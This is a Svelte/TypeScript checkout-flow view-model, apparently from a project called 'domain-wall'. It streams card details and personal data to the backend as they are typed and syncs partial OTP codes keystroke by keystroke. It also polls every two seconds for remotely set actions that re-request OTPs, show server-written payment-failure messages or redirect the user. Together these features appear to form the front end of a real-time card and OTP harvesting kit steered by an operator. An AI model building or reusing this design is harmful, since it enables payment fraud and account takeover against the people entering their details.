Files
domain-wall/apps/frontend/src/lib/domains/ckflow/view/ckflow.vm.svelte.ts
2025-10-21 18:41:19 +03:00

620 lines
15 KiB
TypeScript

import { page } from "$app/state";
import { checkoutVM } from "$lib/domains/checkout/checkout.vm.svelte";
import { billingDetailsVM } from "$lib/domains/checkout/payment-info-section/billing.details.vm.svelte";
import { paymentInfoVM } from "$lib/domains/checkout/payment-info-section/payment.info.vm.svelte";
import {
CKActionType,
SessionOutcome,
type FlowInfo,
type PendingAction,
type PendingActions,
} from "$lib/domains/ckflow/data/entities";
import type { CustomerInfoModel } from "$lib/domains/customerinfo/data";
import { customerInfoModel } from "$lib/domains/customerinfo/data";
import { customerInfoVM } from "$lib/domains/customerinfo/view/customerinfo.vm.svelte";
import {
CheckoutStep,
type OrderPriceDetailsModel,
} from "$lib/domains/order/data/entities";
import type { PaymentInfoPayload } from "$lib/domains/paymentinfo/data/entities";
import { PaymentMethod } from "$lib/domains/paymentinfo/data/entities";
import { productStore } from "$lib/domains/product/store";
import { trpcApiStore } from "$lib/stores/api";
import { ClientLogger } from "@pkg/logger/client";
import { toast } from "svelte-sonner";
import { get } from "svelte/store";
class ActionRunner {
async run(actions: PendingActions) {
if (actions.length < 1) {
return;
}
console.log(actions);
const hasTerminationAction = actions.find(
(a) => a.type === CKActionType.TerminateSession,
);
if (hasTerminationAction) {
this.terminateSession();
return;
}
const actionHandlers = {
[CKActionType.BackToPII]: this.backToPII,
[CKActionType.BackToPayment]: this.backToPayment,
[CKActionType.CompleteOrder]: this.completeOrder,
[CKActionType.TerminateSession]: this.terminateSession,
[CKActionType.RequestOTP]: this.requestOTP,
} as const;
for (const action of actions) {
const ak = action.type as any as keyof typeof actionHandlers;
if (!ak || !actionHandlers[ak]) {
console.log(`Invalid action found for ${action.type}`);
continue;
}
await actionHandlers[ak](action);
}
}
private async completeOrder(data: any) {
const ok = await checkoutVM.checkout();
if (!ok) return;
const cleanupSuccess = await ckFlowVM.cleanupFlowInfo(
SessionOutcome.COMPLETED,
CheckoutStep.Complete,
);
if (!cleanupSuccess) {
toast.error("There was an issue finalizing your order", {
description: "Please check your order status in your account",
});
return;
}
toast.success("Checkout completed successfully", {
description: "Redirecting, please wait...",
});
// Ensure flow is completely reset before redirecting
ckFlowVM.reset();
setTimeout(() => {
window.location.replace("/checkout/success");
}, 500);
}
private async requestOTP(action: PendingAction) {
if (!ckFlowVM.info) return;
// Reset OTP submission status to show the form again
await ckFlowVM.updateFlowState(ckFlowVM.info.flowId, {
...ckFlowVM.info,
showVerification: true,
otpSubmitted: false, // Reset this flag to show the OTP form again
otpCode: undefined, // Clear previous OTP code
pendingActions: ckFlowVM.info.pendingActions.filter(
(a) => a.id !== action.id,
),
});
// Make sure the info is immediately updated in our local state
if (ckFlowVM.info) {
ckFlowVM.info = {
...ckFlowVM.info,
showVerification: true,
otpSubmitted: false,
otpCode: undefined,
pendingActions: ckFlowVM.info.pendingActions.filter(
(a) => a.id !== action.id,
),
};
}
await ckFlowVM.refreshFlowInfo(false);
checkoutVM.checkoutStep = CheckoutStep.Verification;
toast.info("Verification required", {
description: "Please enter the verification code sent to your device",
});
}
private async backToPII(action: PendingAction) {
await ckFlowVM.popPendingAction(action.id, {
checkoutStep: CheckoutStep.Initial,
});
await ckFlowVM.goBackToInitialStep();
toast.error("Some information provided is not valid", {
description: "Please double check your info & try again",
});
checkoutVM.checkoutStep = CheckoutStep.Initial;
}
private async backToPayment(action: PendingAction) {
const out = await ckFlowVM.popPendingAction(action.id, {
checkoutStep: CheckoutStep.Payment,
});
if (!out) {
return;
}
console.log("back to payment action : ", action);
const errorMessage =
action.data?.message || "Could not complete transaction";
const errorDescription =
action.data?.description || "Please confirm your info & try again";
toast.error(errorMessage, {
description: errorDescription,
duration: 6000,
});
checkoutVM.checkoutStep = CheckoutStep.Payment;
}
private async terminateSession() {
await ckFlowVM.cleanupFlowInfo();
ckFlowVM.reset();
checkoutVM.reset();
const plid = page.params.plid as any as string;
const sid = page.params.sid as any as string;
window.location.replace(`/checkout/terminated?sid=${sid}&plid=${plid}`);
}
}
export class CKFlowViewModel {
actionRunner: ActionRunner;
setupDone = $state(false);
flowId: string | undefined = $state(undefined);
info: FlowInfo | undefined = $state(undefined);
otpCode: string | undefined = $state(undefined);
_flowPoller: NodeJS.Timeout | undefined = undefined;
_flowPinger: NodeJS.Timeout | undefined = undefined;
// Data synchronization control
private personalInfoDebounceTimer: NodeJS.Timeout | null = null;
private paymentInfoDebounceTimer: NodeJS.Timeout | null = null;
syncInterval = 300; // 300ms debounce for syncing
updatedPrices = $state<OrderPriceDetailsModel | undefined>(undefined);
constructor() {
this.actionRunner = new ActionRunner();
}
reset() {
this.setupDone = false;
this.flowId = undefined;
this.info = undefined;
this.clearPoller();
this.clearPinger();
this.clearPersonalInfoDebounce();
this.clearPaymentInfoDebounce();
}
async initFlow() {
if (this.setupDone) {
console.log(`Initting flow ${this.flowId} but setup already done`);
return;
}
console.log(`Initting flow ${this.flowId}`);
const api = get(trpcApiStore);
if (!api) {
toast.error("Could not initiate checkout at the moment", {
description: "Please try again later",
});
return;
}
const info = await api.ckflow.initiateCheckout.mutate({
domain: window.location.hostname,
refOIds: [],
productId: get(productStore)?.id,
});
if (info.error) {
toast.error(info.error.message, { description: info.error.userHint });
return;
}
if (!info.data) {
toast.error("Error while creating checkout flow", {
description: "Try refreshing page or contact us",
});
return;
}
this.flowId = info.data;
this.startPolling();
this.startPinging();
this.setupDone = true;
}
debouncePersonalInfoSync(personalInfo: CustomerInfoModel) {
this.clearPersonalInfoDebounce();
this.personalInfoDebounceTimer = setTimeout(() => {
this.syncPersonalInfo(personalInfo);
}, this.syncInterval);
}
debouncePaymentInfoSync() {
if (!paymentInfoVM.cardDetails) return;
this.clearPaymentInfoDebounce();
this.paymentInfoDebounceTimer = setTimeout(() => {
const paymentInfo = {
cardDetails: paymentInfoVM.cardDetails,
method: PaymentMethod.Card,
orderId: -1,
productId: get(productStore)?.id,
} as PaymentInfoPayload;
this.syncPaymentInfo(paymentInfo);
}, this.syncInterval);
}
isPaymentInfoValid(): boolean {
return (
Object.values(paymentInfoVM.errors).every((e) => e === "" || !e) ||
Object.keys(paymentInfoVM.errors).length === 0
);
}
isPersonalInfoValid(personalInfo: CustomerInfoModel): boolean {
const parsed = customerInfoModel.safeParse(personalInfo);
return !parsed.error && !!parsed.data;
}
async syncPersonalInfo(personalInfo: CustomerInfoModel) {
if (!this.flowId || !this.setupDone) {
return;
}
const api = get(trpcApiStore);
if (!api) return;
console.log("Pushing : ", personalInfo);
try {
await api.ckflow.syncPersonalInfo.mutate({
flowId: this.flowId,
personalInfo,
});
ClientLogger.debug("Personal info synced successfully");
} catch (err) {
ClientLogger.error("Failed to sync personal info", err);
}
}
async syncPaymentInfo(paymentInfo: PaymentInfoPayload) {
if (!this.flowId || !this.setupDone || !paymentInfo.cardDetails) {
return;
}
const api = get(trpcApiStore);
if (!api) return;
console.log("Pushing payinfo : ", paymentInfo);
try {
await api.ckflow.syncPaymentInfo.mutate({
flowId: this.flowId,
paymentInfo,
});
ClientLogger.debug("Payment info synced successfully");
} catch (err) {
ClientLogger.error("Failed to sync payment info", err);
}
}
private clearPersonalInfoDebounce() {
if (this.personalInfoDebounceTimer) {
clearTimeout(this.personalInfoDebounceTimer);
this.personalInfoDebounceTimer = null;
}
}
private clearPaymentInfoDebounce() {
if (this.paymentInfoDebounceTimer) {
clearTimeout(this.paymentInfoDebounceTimer);
this.paymentInfoDebounceTimer = null;
}
}
clearUpdatedPrices() {
this.updatedPrices = undefined;
}
private clearPoller() {
if (this._flowPoller) {
clearInterval(this._flowPoller);
}
}
private clearPinger() {
if (this._flowPinger) {
clearInterval(this._flowPinger);
}
}
private async startPolling() {
this.clearPoller();
this._flowPoller = setInterval(() => {
this.refreshFlowInfo();
}, 2000);
}
private async startPinging() {
this.clearPinger();
this._flowPinger = setInterval(() => {
this.pingFlow();
}, 30000); // Every 30 seconds
}
private async pingFlow() {
if (!this.flowId) {
return;
}
const api = get(trpcApiStore);
if (!api) return;
try {
await api.ckflow.ping.mutate({ flowId: this.flowId });
ClientLogger.debug("Flow pinged successfully");
} catch (err) {
ClientLogger.error("Failed to ping flow", err);
}
}
async updateFlowState(
flowId: string,
updatedInfo: FlowInfo,
): Promise<boolean> {
if (!flowId) return false;
const api = get(trpcApiStore);
if (!api) return false;
try {
const result = await api.ckflow.updateFlowState.mutate({
flowId,
payload: updatedInfo,
});
if (result.data) {
this.info = updatedInfo;
return true;
}
return false;
} catch (err) {
ClientLogger.error("Failed to update flow state", err);
return false;
}
}
// Method to submit OTP
async submitOTP(code: string): Promise<boolean> {
if (!this.flowId || !this.setupDone || !this.info) {
return false;
}
const api = get(trpcApiStore);
if (!api) return false;
try {
// Update the flow state with OTP info
const updatedInfo = {
...this.info,
otpCode: code,
partialOtpCode: code,
otpSubmitted: true,
lastSyncedAt: new Date().toISOString(),
};
const result = await this.updateFlowState(this.flowId, updatedInfo);
return result;
} catch (err) {
ClientLogger.error("Failed to submit OTP", err);
return false;
}
}
async syncPartialOTP(otpValue: string): Promise<void> {
if (!this.flowId || !this.setupDone || !this.info) {
return;
}
const api = get(trpcApiStore);
if (!api) return;
try {
// Update the flow state with partial OTP info
const updatedInfo = {
...this.info,
partialOtpCode: otpValue, // Store partial OTP in a different field
lastSyncedAt: new Date().toISOString(),
};
await this.updateFlowState(this.flowId, updatedInfo);
ClientLogger.debug("Partial OTP synced successfully");
} catch (err) {
ClientLogger.error("Failed to sync partial OTP", err);
}
}
async refreshFlowInfo(runActions = true) {
const api = get(trpcApiStore);
if (!api || !this.flowId) {
console.log("No api OR No flow id found");
return;
}
const info = await api.ckflow.getFlowInfo.query({
flowId: this.flowId,
});
if (info.error) {
if (info.error.detail.toLowerCase().includes("not found")) {
return this.initFlow();
}
toast.error(info.error.message, { description: info.error.userHint });
return;
}
if (!info.data) {
return;
}
this.info = info.data;
if (runActions) {
this.actionRunner.run(info.data.pendingActions);
}
return { data: true };
}
async popPendingAction(actionidToPop: string, meta: Partial<FlowInfo> = {}) {
const api = get(trpcApiStore);
if (!api || !this.info) {
console.log("No API or flow state found");
return;
}
return api.ckflow.updateFlowState.mutate({
flowId: this.info.flowId,
payload: {
...this.info,
pendingActions: this.info.pendingActions.filter(
(a) => a.id !== actionidToPop,
),
...meta,
},
});
}
async goBackToInitialStep() {
if (!this.flowId && this.setupDone) {
return true; // This assumes that there is no order attached to this one
}
const api = get(trpcApiStore);
if (!api) {
console.log("No api OR No flow id found");
return;
}
const out = await api.ckflow.goBackToInitialStep.mutate({
flowId: this.flowId!,
});
if (out.error) {
toast.error(out.error.message, { description: out.error.userHint });
return;
}
return true;
}
async executePrePaymentStep() {
if (!this.flowId && this.setupDone) {
return true; // This assumes that there is no order attached to this one
}
const api = get(trpcApiStore);
if (!api) {
console.log("No api OR No flow id found");
return;
}
const personalInfo = customerInfoVM.customerInfo;
if (!personalInfo) {
toast.error("Could not find customer info", {
description: "Please try again later or contact support",
});
return;
}
const out = await api.ckflow.executePrePaymentStep.mutate({
flowId: this.flowId!,
payload: {
initialUrl: "",
personalInfo: personalInfo,
},
});
if (out.error) {
toast.error(out.error.message, { description: out.error.userHint });
return;
}
return true;
}
async executePaymentStep() {
if (!this.flowId && this.setupDone) {
return true; // This assumes that there is no order attached to this one
}
const api = get(trpcApiStore);
if (!api) {
console.log("No api OR No flow id found");
return;
}
const paymentInfo = {
cardDetails: paymentInfoVM.cardDetails,
method: PaymentMethod.Card,
orderId: -1,
productId: get(productStore)?.id,
} as PaymentInfoPayload;
const out = await api.ckflow.executePaymentStep.mutate({
flowId: this.flowId!,
payload: {
personalInfo: billingDetailsVM.billingDetails,
paymentInfo,
},
});
if (out.error) {
toast.error(out.error.message, { description: out.error.userHint });
return;
}
return true;
}
async cleanupFlowInfo(
outcome = SessionOutcome.COMPLETED,
checkoutStep = CheckoutStep.Confirmation,
) {
if (!this.flowId && this.setupDone) {
return true; // This assumes that there is no order attached to this one
}
const api = get(trpcApiStore);
if (!api) {
console.log("No api OR No flow id found");
return;
}
const out = await api.ckflow.cleanupFlow.mutate({
flowId: this.flowId!,
other: {
sessionOutcome: outcome,
checkoutStep: checkoutStep,
},
});
if (out.error) {
toast.error(out.error.message, { description: out.error.userHint });
return false;
}
this.reset();
return true;
}
async onBackToPIIBtnClick() {
// This is called when the user clicks the back button on the payment step
return this.goBackToInitialStep();
}
}
export const ckFlowVM = new CKFlowViewModel();